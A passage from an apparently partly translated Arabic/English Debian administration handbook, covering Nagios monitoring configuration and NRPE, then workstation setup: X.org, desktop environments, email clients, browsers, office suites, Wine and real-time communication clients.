define contact{ name generic-contact service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,u,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email register 0 ; Template only } define contact{ use generic-contact contact_name rhertzog alias Raphael Hertzog email hertzog@debian.org } define contact{ use generic-contact contact_name rmas alias Roland Mas email lolando@debian.org } define contactgroup{ contactgroup_name falcot-admins alias Falcot Administrators members rhertzog,rmas } define host{ use generic-host ; Name of host template to use host_name www-host alias www.falcot.com address 192.168.0.5 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } define host{ use generic-host ; Name of host template to use host_name ftp-host alias ftp.falcot.com address 192.168.0.6 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } # 'check_ftp' command with custom parameters define command{ command_name check_ftp2 command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35 } # Generic Falcot service define service{ name falcot-service use generic-service contact_groups falcot-admins register 0 } # Services to check on www-host define service{ use falcot-service host_name www-host service_description HTTP check_command check_http } define service{ use falcot-service host_name www-host service_description HTTPS check_command check_https } define service{ use falcot-service host_name www-host service_description SMTP check_command check_smtp } # Services to check on ftp-host define service{ use falcot-service host_name ftp-host service_description FTP check_command check_ftp2 }

This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a warning is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the ssh-servers hostgroup. The matching standard service is defined in /etc/nagios4/conf.d/services_nagios2.cfg.

لاحظ استخدام الوراثة: يرث الكائن من كائن آخر باستخدام ”use parent-name“. يجب أن يكون الكائن الأب قابلاً للتعرف، عبر إسناد اسم له في خاصية ”name identifier“. إذا كان الهدف من الكائن الأب أن يستعمل في الوراثة فقط دون أن يكون كائناً حقيقياً، عندها يعطى الخاصية ”register 0“ حتى لا يأخذه Nagios بعين الاعتبار، وبالتالي يتجاهل نقصان بعض المتغيرات المطلوبة في الحالة الطبيعية.

توثيق قائمة بخصائص الكائنات

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/index.html. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

التعمق أكثر الاختبار عن بعد باستخدام NRPE

العديد من ملحقات Nagios تسمح باختبار بعض المتغيرات المحلية على المستضيف؛ إذا كانت هناك حاجة لإجراء مثل هذه الاختبارات مع تجميع نتائجها في مكان واحد، فيجب نشر الملحق NPRE‏ (Nagios Remote Plugin Executor). يجب تثبيت الحزمة nagios-nrpe-plugin على مخدم Nagios، والحزمة nagios-nrpe-server على الأجهزة التي يراد إجراء الاختبارات عليها. تأخذ الأخيرة إعداداتها من /etc/nagios/nrpe.cfg. يجب أن يحدد هذا الملف الاختبارات التي يمكن تنفيذها عن بعد، وعناوين IP للأجهزة التي يسمح لها بطلب هذه الاختبارات. تفعيل هذه الاختبارات البعيدة على طرف Nagios يتم ببساطة بإضافة الخدمات المقابلة لها باستخدام الأمر الجديد check_nrpe.

[4]

→ http://gallery.munin-monitoring.org

فصل 13. محطات العمل

بعد أن انتهينا من تجهيز المخدمات، يستطيع مديرو النظم التركيز على تثبيت النظام على محطات العمل الفردية وإنشاء إعداد نموذجي لها.

13.1. إعداد المخدّم X11

تذكير مختصر: X.org هو مكون البرنامَج الذي يسمح للتطبيقات الرسومية لعرض النوافذ على الشاشة. يتضمن برنامَج تشغيل يجعل استخدام بطاقة الفيديو بكفاءة. يتم تصدير الميزات المقدمة للتطبيقات الرسومية من خلال واجهة قياسية، X11 ( يحتوي بستر على إصدار X11R7.7).

منظور X11،‏ XFree86 وX.org

نظام X11 هو أكثر الأنظمة الرسومية استخداماً في نظم التشغيل الشبيهة بيونكس (كما أنه متوفر لنظامي ويندوز وMAC OS بالإضافة للنظام الأصلي). إذا أردنا الدقة، فإن المصطلح ”X11“ يشير إلى توصيف لبروتوكول فقط، لكنه يستخدم عملياً للإشارة إلى التطبيقات التي تحقق هذا البروتوكول.

كانت بداية X11 صعبة، لكن التسعينات شهدت بزوغ XFree86 كتحقيق مرجعي لأنه كان برنامجاً حراً، وقابلاً للنقل، وكان هناك مجتمع متعاون يعمل على صيانته. لكن مستوى التطور انحدر أخيراً عندما اقتصرت التغييرات على البرنامج على إضافة تعاريف جديدة للعتاد فقط. أدى ذلك الوضع، بالإضافة إلى تغيير في الرخصة أثار الخلاف، إلى اشتقاق X.org في 2004. يعتبر X.org التحقيق المرجعي الآن، وتعتمد دبيان بستر على النسخة 7.7 من X.org.

Current versions of X.org are able to autodetect the available hardware: this applies to the video card and the monitor, as well as keyboards and mice; in fact, it is so convenient that the package no longer even creates a /etc/X11/xorg.conf configuration file.

تضبط إعدادات لوحة المفاتيح حالياً في /etc/default/keyboard. يستخدم هذا الملف لضبط كل من سطر الأوامر النصي والواجهة الرسومية معاً، وتتحكم به الحزمة keyboard-configuration. تتوفر تفاصيل ضبط تخطيط لوحة المفاتيح في قسم 8.1.2, “ضبط لوحة المفاتيح”.

توفر الحزمة xserver-xorg-core مخدم X عام، كالمستخدم في النسخ ‎7.x من X.org. هذا المخدم تجزيئي ويعتمد على مجموعة من التعاريف المستقلة للتحكم بأنواع مختلفة عديدة من بطاقات الفيديو. يضمن تثبيت الحزمة xserver-xorg تثبيت مخدم x وتثبيت تعريف واحد على الأقل.

Note that if the detected video card is not handled by any of the available drivers, X.org tries using the vesa and fbdev drivers. VESA is a generic driver that should work everywhere, but with limited capabilities (fewer available resolutions, no hardware acceleration for games and visual effects for the desktop, and so on) while fbdev works on top of the kernel's framebuffer device. Nowadays the X server can run without any administrative privileges (this used to be required to be able to configure the screen) and its log file is then stored in the user's home directory in ~/.local/share/xorg/Xorg.0.log, whereas it is /var/log/Xorg.0.log for X servers started with root privileges and for versions older than Debian 9 Stetch. That log file is where one would look to know what driver is currently in use. For example, the following snippet matches what the intel driver outputs when it is loaded:

(==) Matched intel as autoconfigured driver 0 (==) Matched modesetting as autoconfigured driver 1 (==) Matched vesa as autoconfigured driver 2 (==) Matched fbdev as autoconfigured driver 3 (==) Assigned the driver to the xf86ConfigLayout (II) LoadModule: "intel" (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

إضافة التعاريف المملوكة

Some video card makers (most notably NVIDIA) refuse to publish the hardware specifications that would be required to implement good free drivers. They do, however, provide proprietary drivers that allow using their hardware. This policy is nefarious, because even when the provided driver exists, it is usually not as polished as it should be; more importantly, it does not necessarily follow the X.org updates, which may prevent the latest available driver from loading correctly (or at all). We cannot condone this behavior, and we recommend you avoid these makers and favor more cooperative manufacturers.

If you still end up with such a card, you will find the required packages in the non-free section: nvidia-driver for NVIDIA cards. It requires a matching kernel module. Building the module can be automated by installing the package nvidia-kernel-dkms (for NVIDIA).

The “nouveau” project aims to develop a free software driver for NVIDIA cards and is the default driver that you get for those cards in Debian. In general, its feature set and performance do not match the proprietary driver. In the developers' defense, we should mention that the required information can only be gathered by reverse engineering, which makes things difficult. The free drivers for ATI video cards, called “radeon” and "amdgpu", are much better in that regard although it often requires non-free firmware from the firmware-amd-graphics package.

13.2. تخصيص الواجهة الرسومية

13.2.1. اختيار مدير عرض

The graphical interface only provides display space. Running the X server by itself only leads to an empty screen, which is why most installations use a display manager to display a user authentication screen and start the graphical desktop once the user has authenticated. The three most popular display managers in current use are gdm3 (GNOME Display Manager), sddm (suggested for KDE Plasma) and lightdm (Light Display Manager). Since the Falcot Corp administrators have opted to use the GNOME desktop environment, they logically picked gdm3 as a display manager too. The /etc/gdm3/daemon.conf configuration file has many options (the list can be found in the /usr/share/gdm/gdm.schemas schema file) to control its behaviour while /etc/gdm3/greeter.dconf-defaults contains settings for the greeter “session” (more than just a login window, it is a limited desktop with power management and accessibility related tools). Note that some of the most useful settings for end-users can be tweaked with GNOME's control center.

13.2.2. اختيار مدير النوافذ

Since each graphical desktop provides its own window manager, which window manager you choose is usually influenced by which desktop you have selected. GNOME uses the mutter window manager, Plasma uses kwin, and Xfce (which we present later) has xfwm. The Unix philosophy always allows using one's window manager of choice, but following the recommendations allows an administrator to best take advantage of the integration efforts led by each project.

أساسيات مدير النوافذ

The window manager displays the “decorations” around the windows belonging to the currently running applications, which includes frames and the title bar. It also allows reducing, restoring, maximizing, and hiding windows. Most window managers also provide a menu that pops up when the desktop is clicked in a specific way. This menu provides the means to close the window manager session, start new applications, and in some cases, change to another window manager (if installed).

Older computers may, however, have a hard time running heavyweight graphical desktop environments. In these cases, a lighter configuration should be used. “Light” (or small footprint) window managers include WindowMaker (in the wmaker package), Afterstep, fvwm, icewm, blackbox, fluxbox, or openbox. In these cases, the system should be configured so that the appropriate window manager gets precedence; the standard way is to change the x-window-manager alternative with the command update-alternatives --config x-window-manager.

خصائص دبيان بدائل

تتضمن سياسة دبيان عدد من الأوامر الموحدة القادرة على تنفيذ فعل معين. مثلاً، يستدعي الأمر x-window-manager مدير نوافذ ما. لكن دبيان لا تسند هذا الأمر إلى مدير نوافذ معين. يستطيع مدير النظام تحديد أي مدير نوافذ يجب أن يستدعيه.

تسجل إذن كل حزمة من حزم مدراء النوافذ الأمر المناسب كخيار محتمل للأمر x-window-manager بالإضافة إلى أولوية مقترنة به. تسمح هذه الأولوية باختيار أفضل مدير نوافذ مثبت عند تشغيل الأمر العام، ما لم يعدل مدير النظام الإعداد صراحة.

تقتضي كل من عمليتي تسجيل الأوامر والضبط الصريح استخدام السكربت update-alternatives. لتغيير وجهة أحد الأوامر الرمزية يكفي استدعاء update-alternatives --config symbolic-command. ينشئ السكربت update-alternatives روابط رمزية (ويتابع تحديثها) في المجلد /etc/alternatives/، التي تشير بدورها إلى موقع الملف التنفيذي. مع مرور الزمن، تثبت حزم جديدة أو تزال حزم قديمة، أو يجري مدير النظام تعديلات صريحة على الإعداد. عند إزالة حزمة توفر أحد البدائل، ينتقل البديل آلياً إلى الخيار الأنسب التالي من بين الخيارات المتاحة المتبقية.

لا تذكر سياسة دبيان جميع الأوامر الرمزية صراحة؛ فقد اختار بعض مشرفي الحزم استخدام هذه الآلية عمداً في حالات أقل بساطة حيث كانت توفر مرونة ملحوظة (من الأمثلة نذكر x-www-browser، ‏www-browser، ‏cc،‏ c++،‏ awk، وغيرها).

13.2.3. إدارة القوائم

Modern desktop environments and many window managers provide menus listing the available applications for the user. In order to keep menus up-to-date in relation to the actual set of available applications, each package usually provides a .desktop file in /usr/share/applications. The format of those files has been standardized by FreeDesktop.org:

→ https://standards.freedesktop.org/desktop-entry-spec/latest/

The applications menus can be further customized by administrators through system-wide configuration files as described by the “Desktop Menu Specification”. End-users can also customize the menus with graphical tools such as kmenuedit (in Plasma), alacarte (in GNOME) or menulibre.

→ https://standards.freedesktop.org/menu-spec/latest/

تاريخ نظام القوائم في دبيان

تاريخياً —قبل ظهور معايير FreeDesktop.org بكثير— قدمت دبيان نظام قوائم خاص بها حيث توفر كل حزمة توصيفاً عاماً للمدخلات المطلوبة في القائمة في /usr/share/menu/. لا تزال هذه الأداة متوفرة في دبيان (في الحزمة menu) لكن لم يعد لها إلا دور هامشي الآن بسبب دفع مشرفي الحزم نحو اعتماد ملفات .desktop بدلاً منها.

13.3. سطح المكتب الرسومي

The free graphical desktop field is dominated by two large software collections: GNOME and Plasma by KDE. Both of them are very popular. This is rather a rare instance in the free software world; the Apache web server, for instance, has very few peers.

This diversity is rooted in history. Plasma (initially only KDE, which is now the name of the community) was the first graphical desktop project, but it chose the Qt graphical toolkit and that choice wasn't acceptable for a large number of developers. Qt was not free software at the time, and GNOME was started based on the GTK+ toolkit. Qt has since become free software, but the projects still evolved in parallel.

The GNOME and KDE communities still work together: under the FreeDesktop.org umbrella, the projects collaborated in defining standards for interoperability across applications.

إن اختيار ”أفضل“ سطح مكتب رسومي هو موضوع حساس نفضل الابتعاد عنه. سوف نَصِفُ الإمكانيات العديدة المتاحة فقط، وسنعطي عدة مؤشرات للتعمّق في التفكير. سيكون أفضل خيار اختيارك الخاص الذي ستقدم عليه بعد بعض التجارب.

13.3.1. ‏GNOME

Debian Buster includes GNOME version 3.30, which can be installed by a simple apt install gnome (it can also be installed by selecting the “Debian desktop environment” task).

GNOME is noteworthy for its efforts in usability and accessibility. Design professionals have been involved in writing its standards and recommendations, which has helped developers to create satisfying graphical user interfaces. The project also gets encouragement from the big players of computing, such as Intel, IBM, Oracle, Novell, and of course, various Linux distributions. Finally, many programming languages can be used in developing applications interfacing to GNOME.

شكل 13.1. سطح المكتب GNOME

For administrators, GNOME seems to be better prepared for massive deployments. Application configuration is handled through the GSettings interface and stores its data in the DConf database. The configuration settings can thus be queried and edited with the gsettings, and dconf command-line tools, or by the dconf-editor graphical user interfaces. The administrator can therefore change users' configuration with a simple script. The GNOME website provides information to guide administrators who manage GNOME workstations:

→ https://help.gnome.org/admin/

13.3.2. KDE and Plasma

Debian Buster includes version 5.14 of KDE Plasma, which can be installed with apt install kde-standard.

Plasma has had a rapid evolution based on a very hands-on approach. Its authors quickly got very good results, which allowed them to grow a large user-base. These factors contributed to the overall project quality. Plasma is a mature desktop environment with a wide range of applications.

شكل 13.2. The Plasma desktop

Since the Qt 4.0 release, the last remaining license problem with KDE software has been solved. This version was released under the GPL both for Linux and Windows (the Windows version was previously released under a non-free license). KDE applications are primarily developed using the C++ language.

13.3.3. Xfce وغيره

Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with limited resources. It can be installed with apt install xfce4. Like GNOME, Xfce is based on the GTK+ toolkit, and several components are common across both desktops.

Unlike GNOME and Plasma, Xfce does not aim to become a vast project. Beyond the basic components of a modern desktop (file manager, window manager, session manager, a panel for application launchers and so on), it only provides a few specific applications: a terminal, a calendar (orage), an image viewer, a CD/DVD burning tool, a media player (parole), sound volume control and a text editor (mousepad).

→ https://xfce.org/

شكل 13.3. سطح المكتب Xfce

13.3.4. Other Desktop Environments

LXDE and LXQt are two desktop environments focusing on the “lightweight” aspect. The former is GTK+ based while the latter is Qt based. They can be installed with the lxde and lxqt metapackages.

→ https://lxde.org/

→ https://lxqt.org/

Cinnamon and MATE both started when GNOME 3 moved away from the traditional desktop paradigm, dropping the usual panel and its menu in favor of the new search-based shell. The former reintroduced a panel by forking GNOME Shell and the latter is a continuation of GNOME 2. They can be installed wih the cinnamon-desktop-environment and mate-desktop-environment metapackages.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

13.4. البريد الإلكتروني

13.4.1. Evolution

مجتمع حزم مشهورة

Installing the popularity-contest package enables participation in an automated survey that informs the Debian project about the most popular packages. A script is run weekly by cron which sends an anonymized list of the installed packages (by HTTP or email) and the latest access date for the files they contain. This allows the Debian maintainers to know which packages are most frequently installed, and of these, how frequently they are actually used.

تساعد هذه المعلومات مشروع دبيان كثيراً. فهي تستخدم لتحديد الحزم التي يجب وضعها على الأقراص الأولى الخاصة بتثبيت النظام. كما أن معلومات التثبيت تشكل عاملاً مهماً يستخدم عند اتخاذ القرار بإزالة حزمة عدد مستخدميها قليل جداً من التوزيعة. نحن ننصح بشدة بتثبيت حزمة popularity-contest والمشاركة في هذه الدراسة.

The collected data are made public every day.

→ https://popcon.debian.org/

These statistics can also help users to choose between two packages that seem otherwise equivalent. Choosing the more popular package is probably a safer choice.

Evolution is the GNOME email client and can be installed with apt install evolution. It is more than a simple email client: it also provides a calendar, an address book, a task list, and a memo (free-form note) application. Its email component includes a powerful message indexing system, and allows for the creation of virtual folders based on search queries on all archived messages. In other words, all messages are stored the same way but displayed in a folder-based organization, each folder containing messages that match a set of filtering criteria.

شكل 13.4. برنامج Evolution للبريد الإلكتروني

An extension to Evolution allows integration with a Microsoft Exchange email system; the required package is evolution-ews[5].

13.4.2. ‏KMail

The KDE email software can be installed with apt install kmail. KMail only handles email, but it belongs to a software suite called KDE-PIM (for Personal Information Manager) that includes features such as address books, a calendar component, and so on. KMail has all the features one would expect from an excellent email client.

شكل 13.5. برنامج KMail للبريد الإلكتروني

13.4.3. Thunderbird

The thunderbird package provides the email client from the Mozilla software suite. Various localization sets are available in thunderbird-l10n-* packages; the enigmail extension handles message encrypting and signing, but it is not available in all languages.

شكل 13.6. The Thunderbird email software

[5] The evolution-ews package is not part of Debian Buster. It was removed during the release process due to a security issue. But at the time of writing a recent version is available as backport (see قسم 6.1.2.4, “المنقولات الخلفية للنسخة المستقرة”).

13.5. متصفحات الوب

يعتمد Epiphany، متصفح الوب في طقم GNOME، على محرك العرض WebKit الذي طورته أبل لمتصفح Safari. الحزمة التي تحويه هي epiphany-browser.

Konqueror, available in the konqueror package, is KDE's web browser (but can also assume the role of a file manager). It uses the KDE-specific KHTML rendering engine; KHTML is an excellent engine, as witnessed by the fact that Apple's WebKit is based on KHTML.

Users not satisfied by either of the above can use Firefox. This browser, available in the firefox-esr package, uses the Mozilla project's Gecko renderer, with a thin and extensible interface on top.

شكل 13.7. The Firefox web browser

VOCABULARY Firefox ESR

Mozilla has a very fast-paced release cycle for Firefox. New releases are published every six to eight weeks and only the latest version is supported for security issues. This doesn't suit all kind of users so, every 10 cycles, they are promoting one of their release to an Extended Support Release (ESR) which will get security updates (and no functional changes) during the next 10 cycles (which covers a bit more than a year).

Debian has both versions packaged. The ESR one, in the package firefox-esr, is used by default since it is the only version suitable for Debian Stable with its long support period (and even there Debian has to upgrade from one ESR release to the next multiple times during a Debian Stable lifecycle). The regular Firefox is available in the firefox package but it is only available to users of Debian Unstable.

ثقافة Iceweasel، وFirefox وغيرهما

Before Debian Stretch, Firefox and Thunderbird were missing. The iceweasel package contained Iceweasel, which was basically Firefox under another name.

The rationale behind this renaming was a result of the usage rules imposed by the Mozilla Foundation on the Firefox™ registered trademark: any software named Firefox had to use the official Firefox logo and icons. However, since these elements are not released under a free license, Debian could not distribute them in its main section. Rather than moving the whole browser to non-free, the package maintainer choose to use a different name.

للأسباب نفسها أعيدت تسمية عميل البريد Thunderbird™ إلى Icedove.

Nowadays, the logo and icons are distributed under a free software license and Mozilla recognized that the changes made by the Debian project are respecting their trademark license so Debian is again able to ship Mozilla's applications under their official name.

ثقافة موزيلا

Netscape Navigator was the standard browser when the web started reaching the masses, but lost ground when Microsoft bundled Internet Explorer with Windows and signed contracts with computer manufacturers which forbade them from pre-installing Netscape Navigator. Faced with this failure, Netscape (the company) decided to “free” its source code, by releasing it under a free license, to give it a second life. This was the beginning of the Mozilla project. After many years of development, the results are more than satisfying: the Mozilla project brought forth an HTML rendering engine (called Gecko) that is among the most standard-compliant. This rendering engine is in particular used by the Mozilla Firefox browser, which is one of the major browsers.

Last but not least, Debian also contains the Chromium web browser (available in the chromium package). This browser is developed by Google and has become the most popular browser in just a few years. Its clear purpose is to make web services more attractive, both by optimizing the browser for performance and by increasing the user's security. The free code that powers Chromium is also used by its proprietary version called Google Chrome™.

13.6. تطوير البرمجيات

13.6.1. أدوات GTK+‎ في GNOME

Anjuta (in the anjuta package) and GNOME Builder (in the gnome-builder package) are Integrated Development Environments (IDE) optimized for creating GTK+ applications for GNOME. Glade (in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME and save them in an XML file. These XML files can then be loaded by the GTK+ shared library though its GtkBuilder component to recreate the saved interfaces; such a feature can be interesting, for instance for plugins that require dialogs.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Tools for Qt

The equivalent applications for Qt applications are KDevelop by KDE (in the kdevelop package) for the development environment, and Qt Designer (in the qttools5-dev-tools package) for the design of graphical interfaces for Qt applications.

KDevelop is also a generic IDE and provides plugins for other languages like Python and PHP and different build systems.

13.7. العمل التعاوني

13.7.1. العمل في مجموعات: groupware

Groupware tools tend to be relatively complex to maintain because they aggregate multiple tools and have requirements that are not always easy to reconcile in the context of an integrated distribution. Thus there is a long list of groupware packages that were once available in Debian but have been dropped for lack of maintainers or incompatibility with other (newer) software in Debian. This has been the case with PHPGroupware, eGroupware, and Kolab.

→ https://www.egroupware.org/

→ https://www.kolab.org/

All is not lost though. Many of the features traditionally provided by “groupware” software are increasingly integrated into “standard” software. This is reducing the requirement for specific, specialized groupware software. On the other hand, this usually requires a specific server. Citadel (in the citadel-suite package), Sogo (in the sogo package) and Kopano (in the kopano-core package) are alternatives that are available in Debian Buster.

13.7.2. العمل التعاوني باستخدام FusionForge

FusionForge هي أداة تطوير تعاونية تنسب نوعاً ما إلى SourceForge، وهي خدمة استضافة للمشاريع البرمجية الحرة. تتبع الأداة النهج العام نفسه الذي يعتمد على النموذج القياسي لتطوير البرمجيات الحرة. لقد حافظ البرنامج على تطوره بعد أن أغلقت شفرة SourceForge المصدرية. حيث قرر مؤلفوه الأصليون، شركة VA Software، عدم إصدار أي نسخ حرة تالية. ثم تكرر الشيء نفسه ثانية عندما اتبع المشتق الأول (GForge) الطريق ذاته. بما أن العديد من الأشخاص والمنظمات قد اشتركوا في تطوير FusionForge، فقد اكتسب اليوم أيضاً مزايا تستهدف أسلوباً تقليدياً أكثر لتطوير البرمجيات، بالإضافة لاستهداف المشاريع التي لا تتصل بتطوير البرمجيات وحده فقط.

يمكن اعتبار FusionForge خليطة من عدة أدوات تختص بإدارة، وتعقب وتنظيم المشاريع. يمكن تصنيف هذه الأدوات في ثلاث فئات عامة:

communication: web forums, mailing-list manager, and announcement system allowing a project to publish news

tracking: tools to track project progress and schedule tasks, to track bugs, feature requests, or any other kind of “ticket”, and to run surveys

المشاركة: مدير وثائق يقدم نقطة مركزية للمستندات المتعلقة بمشروع ما، مدير إصدار ملفات عام، موقع خاص لكل مشروع.

Since FusionForge largely targets development projects, it also integrates many tools such as CVS, Subversion, Git, Bazaar, Darcs, Mercurial and Arch for source control management (also called “configuration management” or “version control”). These programs keep a history of all the revisions of all tracked files (often source code files), with all the changes they go through, and they can merge modifications when several developers work simultaneously on the same part of a project.

Most of these tools can be accessed or even managed through a web interface, with a fine-grained permission system, and email notifications for some events.

FusionForge is not part of Debian Stable. It is a large software stack that is hard to maintain properly and benefits only few users who are usually expert enough to be able to backport the package from Debian Unstable.

ALTERNATIVE GitLab

FusionForge has been used to power the alioth.debian.org platform used by the Debian project and its developers for collaborative package management and development for almost a decade. Due to some limitations it has been replaced and shut down in 2018 by a new service powered by GitLab. See sidebar TOOL GitLab, Git repository hosting and much more.

13.8. البرامج المكتبية

Office software has long been seen as lacking in the free software world. Users require replacements for Microsoft tools such as Word and Excel, but these are so complex that replacements were hard to develop. The situation changed when Sun released the StarOffice code under a free license as OpenOffice, a project which later gave birth to LibreOffice, which is available on Debian. The KDE project also has its own office suite, called Calligra Suite (previously KOffice), and GNOME, while never offering a comprehensive office suite, provides AbiWord as a word processor and Gnumeric as a spreadsheet. The various projects each have their strengths. For instance, the Gnumeric spreadsheet is better than OpenOffice.org/LibreOffice in some domains, notably the precision of its calculations. On the word processing front, the LibreOffice suite still leads the way.

Another important feature for users is the ability to import Microsoft Office documents. Even though all office suites have this feature, only the ones in OpenOffice.org and LibreOffice are functional enough for daily use.

THE BROADER VIEW LibreOffice replaces OpenOffice.org

OpenOffice.org contributors set up a foundation (The Document Foundation) to foster the project's development. The idea had been discussed for some time, but the actual trigger was Oracle's acquisition of Sun. The new ownership made the future of OpenOffice under Oracle uncertain. Since Oracle declined to join the foundation, the developers had to give up on the OpenOffice.org name. This office suite is now known as LibreOffice, and is available in Debian.

After a period of relative stagnation on OpenOffice.org, Oracle donated the code and associated rights to the Apache Software Foundation, and OpenOffice is now an Apache project. This project is not currently available in Debian and is rather moribund when compared to LibreOffice.

LibreOffice and Calligra Suite are available in the libreoffice and calligra Debian packages, respectively. Although the gnome-office package was previously used to install a collection of office tools such as AbiWord and Gnumeric, this package is no longer part of Debian, with the individual packages now standing on their own.

Language-specific packs for LibreOffice are distributed in separate packages, most notably libreoffice-l10n-* and libreoffice-help-*. Some features such as spelling dictionaries, hyphenation patterns and thesauri are in separate packages, such as myspell-*, hunspell-*, hyphen-* and mythes-*.

13.9. محاكاة ويندوز: Wine

بالرغم من جميع الجهود السابق ذكرها، يبقى عدد من الأدوات التي ليس لها مكافئ على لينكس، أو أن البرنامج الأصلي مطلوب حتماً. في هذه الحالات تظهر فائدة نظم محاكاة ويندوز. أكثر هذه النظم شهرة هو Wine.

→ https://www.winehq.org/

مكمِّلات CrossOver Linux

CrossOver, produced by CodeWeavers, is a set of enhancements to Wine that broadens the available set of emulated features to a point at which Microsoft Office becomes fully usable. Some of the enhancements are periodically merged into Wine.

→ https://www.codeweavers.com/products/

لكن يجب أن تأخذ بعين الاعتبار أن هذا حل واحد من بين عدة حلول، إذ يمكن حل المشكلة أيضاً باستخدام جهاز ظاهري أو VNC؛ لقد فصلنا هذين الحلين في الملاحظتين الجانبيتين بدائل الأجهزة الظاهرية وبدائل Windows Terminal Server أو VNC.

دعنا نبدأ الآن بتذكرة: تسمح المحاكاة بتشغيل برنامج ما (مطور لنظام هدف معين) على نظام مستضيف مختلف. يستخدم نظام المحاكاة هذا النظام المستضيف، الذي يعمل التطبيق عليه، لتقليد خصائص النظام الهدف.

دعنا نثبت الحزم المطلوبة (حزمة ttf-mscorefonts-installer تنتمي لقسم contrib):

# apt install wine ttf-mscorefonts-installer

إذا كان نظام تشغيلك 64 بت (amd64)، وكانت تطبيقات الويندوز 32 بت، عليك تفعيل تعدد المعماريات حتى تتمكن من تثبيت wine32 من معمارية i386 (انظر قسم 5.4.5, “دعم تعدد المعماريات”).

بعد ذلك يحتاج المستخدم تشغيل winecfg وضبط المواقع (على دبيان) التي تقابل السواقات (في ويندوز). الإعدادات الافتراضية في winecfg معقولة كما يمكنه اكتشاف بعض السواقات الإضافية؛ لاحظ أنه حتى لو كان نظامك ثنائي الإقلاع (dual boot)، فيجب ألا توجه السواقة C: إلى موقع ربط قسم ويندوز على نظام ملفات دبيان، لأن Wine قد يكتب فوق بعض البيانات على ذلك القسم، ويوقف ويندوز عن العمل. يمكن ترك الخيارات الأخرى على قيمها الافتراضية. لتشغيل برامج ويندوز، عليك أولاً تثبيتها على Wine باستخدام برامج التثبيت الخاصة بها (التي تستخدمها عادة على ويندوز)، باستخدام أمر مثل wine .../setup.exe؛ بعد تثبيت البرنامج، يمكنك تشغيله بالأمر wine .../program.exe. يعتمد الموقع الفعلي للبرنامج program.exe على مكان تخزين السواقة C:؛ لكن في العديد من الحالات، يكفي استخدام wine program، لأن البرامج تُثبَّت عادة في مكان يبحث فيه Wine لوحده.

تلميح حل مشكلة فشل winecfg

في بعض الحالات، قد يفشل الأمر winecfg (وهو مجرد غلاف حول أوامر أخرى) في عمله. كأحد الحلول المتاحة للالتفاف حول ذلك، يمكنك تجربة استدعاء الأوامر المغلفة يدوياً: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so أو wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

لاحظ أنه لا يجوز الاعتماد على Wine (أو أي حلول مشابهة) قبل الاختبار الفعلي للبرنامج المطلوب تشغيله: لا يمكن اختبار عمل المحاكاة بشكل كامل إلا باختبار يماثل الاستخدام الحقيقي.

بدائل الأجهزة الظاهرية

بدلاً من محاكاة نظام تشغيل Microsoft يمكن تشغيله فعلاً في جهاز ظاهري يحاكي حاسوباً كامل العتاد. هذه الطريقة تسمح بتشغيل أي نظام تشغيل. يشرح الفصل فصل 12, الإدارة المتقدمة عدة نظم محاكاة، أهمها Xen و KVM (وأيضاً QEMU، وVMWare، وBochs).

بدائل Windows Terminal Server أو VNC

هناك احتمال آخر أيضاً هو تشغيل تطبيقات ويندوز القديمة على مخدم مركزي يستخدم Windows Terminal Server والوصول لهذه التطبيقات من لينكس باستخدام rdesktop. هذا عبارة عن عميل لينكس لبروتوكول RDP ‏(Remote Desktop Protocol) الذي يستخدمه Windows NT/2000 Terminal Server لعرض سطح المكتب على الأجهزة البعيدة.

توفر برمجيات VNC مزايا مشابهة، وتزيد على ذلك ميزة العمل مع العديد من نظم التشغيل. لقد شرحنا مخدمات وعملاء VNC على لينكس في قسم 9.2, “تسجيل الدخول عن بعد”.

13.10. برمجيات التواصل في الزمن الحقيقي

Debian provides a wide range of Real-Time Communications (RTC) client software. The setup of RTC servers is discussed in قسم 11.8, “خدمات التواصل في الزمن الحقيقي”. In SIP (Session Initiation Protocol) terminology, a client application or device is also referred to as a user agent.

تختلف تطبيقات العملاء عن بعضها بالوظائف. تناسب بعض التطبيقات المستخدمين الذي يدردشون كثيراً بينما تجد تطبيقات أخرى اكثر استقراراً مع مستخدمي كاميرات الوب. قد تضطر لاختبار تطبيقات عدة قبل التعرف على أنسبها. قد يقرر المستخدم في النهاية أنه يحتاج أكثر من تطبيق واحد، مثلاً تطبيق XMPP للتراسل مع الزبائن وتطبيق IRC للتعاون مع بعض المجتمعات على الإنترنت.

لزيادة قدرة المستخدمين على التواصل مع العالم الفسيح، ننصحك بإعداد عملاء SIP وXMPP أو عميل واحد يدعم البروتوكولين معاً.

The default GNOME desktop suggests the Empathy communications client. Empathy can support both SIP and XMPP. It supports instant messaging (IM), voice and video. The KDE project provides KDE Telepathy, a communications client based on the same underlying Telepathy APIs used by the GNOME Empathy client.

Popular alternatives to Empathy/Telepathy include Ekiga, Linphone, Psi and Jami (formerly known as Ring).

Some of these applications can also interact with mobile users using apps such as Lumicall on Android.

→ https://lumicall.org

هناك فصل مخصص لبرمجيات العملاء في Real-Time Communications Quick Start Guide (دليل البدء السريع مع الاتصالات في الزمن الحقيقي).

→ http://rtcquickstart.org/guide/multi/useragents.html

تلميح ابحث عن العملاء الذين يدعمون ICE وTURN

